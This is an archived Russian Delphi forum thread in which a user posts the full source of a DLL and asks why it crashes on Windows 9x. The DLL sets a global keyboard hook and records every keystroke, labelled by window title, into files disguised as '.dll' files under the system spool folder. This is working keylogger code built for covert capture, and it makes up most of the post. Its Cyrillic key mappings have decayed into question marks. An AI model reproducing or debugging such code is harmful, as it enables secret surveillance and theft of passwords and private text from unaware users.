Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2004.02.29;
Скачать: CL | DM;

Вниз

Ошибка при перехвате ввода с клавиатуры в 9x   Найти похожие ветки 

 
DelphiN! ©   (2004-02-09 21:21) [0]

Здравствуйте уважаемые, вот у меня совершенно непонятная для меня проблемма возникла, значит устанавливаю я хук на ввод с клавиатуры, хук расположен в Длл библиотеке, значит когда я загружаю эту Длл в Win XP или 2000, то все работает OK, но когда делаю тоже самое в 9х, все вродибы ничего, но вот например когда печатаю в строке адреса IE или проводнике выскакивает системная ошибка, где написано что программа выполнила недопустимую операцию, и якобы ошибка произошла в моей Длл, а когда печатаю гденибудь в блокноте, то все работает ОК, странно из-за чего бы это могло быть, вот выкладываю код моей ДЛЛ:



library Hook;

uses
Windows,sysutils,
Constants in "Constants.pas";

var
KeyboardHook: HHOOK;
b:boolean;
sysdir:array[0..255] of char;
f:textfile;
function KeyboardProc(hCode: Integer; wParam: Longint; lParam: Longint): LRESULT; stdcall;
var
Wnd: THandle;
s: array[0..80] of char;
str:string;
Layout: array [0.. KL_NAMELENGTH] of char;
en:boolean;
chr1:string;
shiftdown:boolean;
State : TKeyboardState;
begin

if hCode = HC_ACTION then
begin
// if b = false then begin
s := "";

GetKeyboardLayoutName(Layout);

if Layout = "00000409" then
en := true
else en := false;


GetKeyboardState(State);
ShiftDown := ((State[vk_Shift] and 128) <> 0);

if en then begin
if not ShiftDown then begin
case WParam of
192:chr1 := "`";
49:chr1 := "1";
50:chr1 := "2";
51:chr1 := "3";
52:chr1 := "4";
53:chr1 := "5";
54:chr1 := "6";
55:chr1 := "7";
56:chr1 := "8";
57:chr1 := "9";
48:chr1 := "0";
189:chr1 := "-";
187:chr1 := "=";
220:chr1 := "\";
81:chr1 := "q";
87:chr1 := "w";
69:chr1 := "e";
82:chr1 := "r";
84:chr1 := "t";
89:chr1 := "y";
85:chr1 := "u";
73:chr1 := "i";
79:chr1 := "o";
80:chr1 := "p";
219:chr1 := "[";
221:chr1 := "]";
65:chr1 := "a";
83:chr1 := "s";
68:chr1 := "d";
70:chr1 := "f";
71:chr1 := "g";
72:chr1 := "h";
74:chr1 := "j";
75:chr1 := "k";
76:chr1 := "l";
186:chr1 := ";";
222:chr1 := """;
90:chr1 := "z";
88:chr1 := "x";
67:chr1 := "c";
86:chr1 := "v";
66:chr1 := "b";
78:chr1 := "n";
77:chr1 := "m";
188:chr1 := ",";
190:chr1 := ".";
191:chr1 := "/";
32:chr1 := " ";
13:chr1 := #13#10;
9 :chr1 := #13#10;
end;
end else begin
case wparam of
192:chr1 := "~";
49:chr1 := "!";
50:chr1 := "@";
51:chr1 := "#";
52:chr1 := "$";
53:chr1 := "%";
54:chr1 := "^";
55:chr1 := "&";
56:chr1 := "*";
57:chr1 := "(";
48:chr1 := ")";
189:chr1 := "_";
187:chr1 := "+";
220:chr1 := "|";
81:chr1 := "Q";
87:chr1 := "W";
69:chr1 := "E";
82:chr1 := "R";
84:chr1 := "T";
89:chr1 := "Y";
85:chr1 := "U";
73:chr1 := "I";
79:chr1 := "O";
80:chr1 := "P";
219:chr1 := "{";
221:chr1 := "}";
65:chr1 := "A";
83:chr1 := "S";
68:chr1 := "D";
70:chr1 := "F";
71:chr1 := "G";
72:chr1 := "H";
74:chr1 := "J";
75:chr1 := "K";
76:chr1 := "L";
186:chr1 := ":";
222:chr1 := """;
90:chr1 := "Z";
88:chr1 := "X";
67:chr1 := "C";
86:chr1 := "V";
66:chr1 := "B";
78:chr1 := "N";
77:chr1 := "M";
188:chr1 := "<";
190:chr1 := ">";
191:chr1 := "?";
32:chr1 := " ";
13:chr1 := "enter";
9 :chr1 := #13#10;
end;
end;

end else begin
if not ShiftDown then begin
case WParam of
192:chr1 := "?";
49:chr1 := "1";
50:chr1 := "2";
51:chr1 := "3";
52:chr1 := "4";
53:chr1 := "5";
54:chr1 := "6";
55:chr1 := "7";
56:chr1 := "8";
57:chr1 := "9";
48:chr1 := "0";
189:chr1 := "-";
187:chr1 := "=";
220:chr1 := "\";
81:chr1 := "?";
87:chr1 := "?";
69:chr1 := "?";
82:chr1 := "?";
84:chr1 := "?";
89:chr1 := "?";
85:chr1 := "?";
73:chr1 := "?";
79:chr1 := "?";
80:chr1 := "?";
219:chr1 := "?";
221:chr1 := "?";
65:chr1 := "?";
83:chr1 := "?";
68:chr1 := "?";
70:chr1 := "?";
71:chr1 := "?";
72:chr1 := "?";
74:chr1 := "?";
75:chr1 := "?";
76:chr1 := "?";
186:chr1 := "?";
222:chr1 := "?";
90:chr1 := "?";
88:chr1 := "?";
67:chr1 := "?";
86:chr1 := "?";
66:chr1 := "?";
78:chr1 := "?";
77:chr1 := "?";
188:chr1 := "?";
190:chr1 := "?";
191:chr1 := ".";
32:chr1 := " ";
13:chr1 := #13#10;
9 :chr1 := #13#10;
end;
end else begin
case WParam of
192:chr1 := "?";
49:chr1 := "!";
50:chr1 := """;
51:chr1 := "?";
52:chr1 := ";";
53:chr1 := "%";
54:chr1 := ":";
55:chr1 := "?";
56:chr1 := "*";
57:chr1 := "(";
48:chr1 := ")";
189:chr1 := "_";
187:chr1 := "+";
220:chr1 := "/";
81:chr1 := "?";
87:chr1 := "?";
69:chr1 := "?";
82:chr1 := "?";
84:chr1 := "?";
89:chr1 := "?";
85:chr1 := "?";
73:chr1 := "?";
79:chr1 := "?";
80:chr1 := "?";
219:chr1 := "?";
221:chr1 := "?";
65:chr1 := "?";
83:chr1 := "?";
68:chr1 := "?";
70:chr1 := "?";
71:chr1 := "?";
72:chr1 := "?";
74:chr1 := "?";
75:chr1 := "?";
76:chr1 := "?";
186:chr1 := "?";
222:chr1 := "?";
90:chr1 := "?";
88:chr1 := "?";
67:chr1 := "?";
86:chr1 := "?";
66:chr1 := "?";
78:chr1 := "?";
77:chr1 := "?";
188:chr1 := "?";
190:chr1 := "?";
191:chr1 := ",";
32:chr1 := " ";
13:chr1 := #13#10;
9 :chr1 := #13#10;
end;
end;
end;

if chr1 <> "" then begin

getwindowtext(getforegroundwindow,s,80);

getsystemdirectory(sysdir,255);

if b = true then begin
if not fileexists(sysdir+"\spool\DLL\"+s+".dll") then begin
assign(f,sysdir+"\spool\DLL\"+s+".dll");
rewrite(f);
writeln(f," -------------- "+s+" --------------");
closefile(f);
end else
assign(f,sysdir+"\spool\DLL\"+s+".dll");
append(f);
write(f,chr1);
closefile(f);
b := false;
end else b := true;
end;

end;

Result := CallNextHookEx(KeyboardHook, hCode, wParam, lParam);

end;

function SetKeyboardHook: Boolean; stdcall; export;
begin
KeyboardHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0);
Result := KeyboardHook <> 0;
end;

function RemoveKeyboardHook: Boolean; stdcall; export;
begin
Result := UnhookWindowsHookEx(KeyboardHook);
end;

exports SetKeyboardHook, RemoveKeyboardHook;

begin
end.


Заранее благодарен


 
DelphiN! ©   (2004-02-16 23:13) [1]

До этого заказчик мне про ошибку говорил, сейчас сам 9х поставил, вроде только в notepad-е когда печатаешь все ок, а когда в папке клавишу нажмешь или в командной строке где, все, сразу ошибка.И еще ошибка вроде в ME вылетает.

Помогите решить проблемму,

Заранее благодарен



Страницы: 1 вся ветка

Текущий архив: 2004.02.29;
Скачать: CL | DM;

Наверх




Память: 0.48 MB
Время: 0.033 c
6-94067
killer
2003-11-14 15:25
2004.02.29
Как из InternetExplorer-а вытащить URL-адрес и заголовок окна?


4-94237
Aleksandr
2003-12-24 13:29
2004.02.29
Почему Мьютекс срабатывает на другую программу?


6-94050
pavia
2003-12-24 22:09
2004.02.29
Snifer


1-93907
Ximik
2004-02-15 21:01
2004.02.29
Ищу компоненты


1-93962
neteditor
2004-02-18 17:50
2004.02.29
Наследование TForm: Resource not found